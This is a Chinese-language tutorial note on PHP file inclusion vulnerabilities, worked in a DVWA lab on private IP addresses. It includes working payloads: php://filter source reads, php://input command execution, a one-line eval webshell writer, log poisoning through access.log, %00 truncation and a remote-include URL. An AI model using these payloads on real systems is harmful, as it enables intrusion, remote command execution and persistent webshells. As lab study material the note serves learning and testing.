1.文件包含原理
程序在开发的时候,未对包含的文件进行严格的过滤,攻击者可以构造自己的图片木马当作php执行
2.文件包含分类
- 本地包含
不需要条件,只要有程序代码漏洞,默认条件就可以包含漏洞
- 远程包含
需要allow_url_include=on(开启远程包含功能)、magic_quotes_gpc=off(魔术符号关闭)
http://10.0.0.130:91/123.php?filename=http://192.168.134.1:90/123.jpg
第一个为有包含文件的主机第二个是被攻击的
插入木马可以直接用菜刀连接
3.包含漏洞里面的四个函数
include 返回一条警告
include_once
除了原有 include 的功能以外,它还会做 once 检测,如果文件曾经已经被被包含过,不再包含
require 一个致命的错 重要的文件
require_once
除了原的功能一外,会做一次 once 检测,防止文件反复被包含这2个涵数include(),include_once()不重复加载,require()和require_once()遇到错误退出
4.如何快速挖掘包含漏洞
审计(白盒测试)直接在源代码里搜索这四个函数 include,include_once,require,require_once
渗透测试(黑盒测试)看参数,如果不是脚本的形式被解析成脚本就是有包含函数
5.包含漏洞能做什么
读文件 有特殊字符一定要转换为baes64
例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
换为low
更改这里,进行编码
修改过后的 php://filter/read=convert.base64-encode/resource=../view_help.php
右边的内容经过base64加密,需要解码
写文件/命令执行
注意:只有在allow _url_include为on的时候才可以使用
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据包为:<?php system('net user');?>
执行成功
一句话木马写入方法:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
写一句话木马
访问的是当前路径(写木马的地址)
直接用菜刀连接即可
包含绕过
- 包含日志文件 \logs\access.log
写入一句话要在burp写入,在搜索会被编码
没有日志文件
配置文件的这两个去掉井号
是空的
http://10.0.0.130:91/dvwa/%3C?php%20@eval($_POST[%27123%27]);?%3E 传入一句话木马
http://10.0.0.130:91/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log
<?php phpinfo(); ?>
不会被执行,因为被编码了
在burp内输入语句
访问日志文件就可以直接访问语句输入的
- 截断包含(%00)
这种方法只适合于magic_quotes_gpc=off的时候,在PHP 的老版本中也是存在着一些其他的截断问题
<?php
if(isset($_GET['page'])){
include $_GET['page'] .".php" ;
}else{
include 'home.php';
}
?>
##写入记事本
http://10.0.0.130:91/2.php?page=phpinfo.jpg 进行拼接(无法访问)
切换低版本
http://10.0.0.130:91/2.php?page=phpinfo.jpg.php
http://10.0.0.130:91/2.php?page=phpinfo.jpg%00
- 不同协议绕过
http/https
File
php
ssh2
6.修复
对文件严格过滤,写死